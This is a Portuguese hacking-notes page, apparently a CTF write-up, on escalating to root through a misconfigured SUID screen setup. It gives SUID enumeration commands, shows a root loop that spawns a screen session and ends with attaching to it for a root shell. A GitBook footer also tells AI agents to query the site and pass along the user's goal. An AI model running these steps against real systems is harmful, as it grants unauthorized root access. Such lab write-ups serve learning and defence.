> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/privesc/suid/suid-screen-linux-privilege-escalation.md).

# SUID screen - Escalada de privilégios no Linux

## O que é

Binários SUID são executados com os privilégios de seu proprietário, geralmente root. Um binário SUID vulnerável, desatualizado ou excessivamente flexível pode ler arquivos protegidos, abrir uma shell privilegiada ou executar código controlado pelo atacante. Esta página específica foca em **SUID (screen)** e mantém o fluxo de exploração prático: identifique a condição, valide-a com segurança e então execute o payload menor necessário para comprovar o impacto.

## Enumeração

Comece confirmando o contexto local e a configuração incorreta exata antes de executar o caminho de exploração.

```bash
find / -perm -4000 -type f 2>/dev/null
```

## Exemplos

#### Identificação de binários SUID

Procuraremos arquivos com o bit SUID habilitado no sistema usando o seguinte comando:

```bash
find / -perm -4000 2>/dev/null
```

<figure><img src="/files/42a4d921bee27a03b955efe0c2012fb80eff75a9" alt=""><figcaption></figcaption></figure>

#### Análise do processo do Screen

Para revisar os processos em execução relacionados ao Screen, usamos o seguinte comando:

```bash
ps -aux | grep "screen"
```

<div data-full-width="true"><figure><img src="/files/c517201c3484fed67b6d6e2d3e7272800ab66720" alt=""><figcaption></figcaption></figure></div>

Encontramos o seguinte processo em execução:

{% code overflow="wrap" %}

```bash
/bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root /;; done
```

{% endcode %}

O processo acima mostra que o Screen está configurado para criar uma sessão root se a `/var/run/screen/S-root/` pasta estiver vazia. Com essa configuração, podemos usar o Screen para obter acesso root.

```bash
screen -x root/
```

### Flag root.txt :)

Depois de acessar o Screen como root, você agora tem privilégios de administrador.

<figure><img src="/files/05729a294f6ee9e24d08e1d099e578e3a5329fe6" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/privesc/suid/suid-screen-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
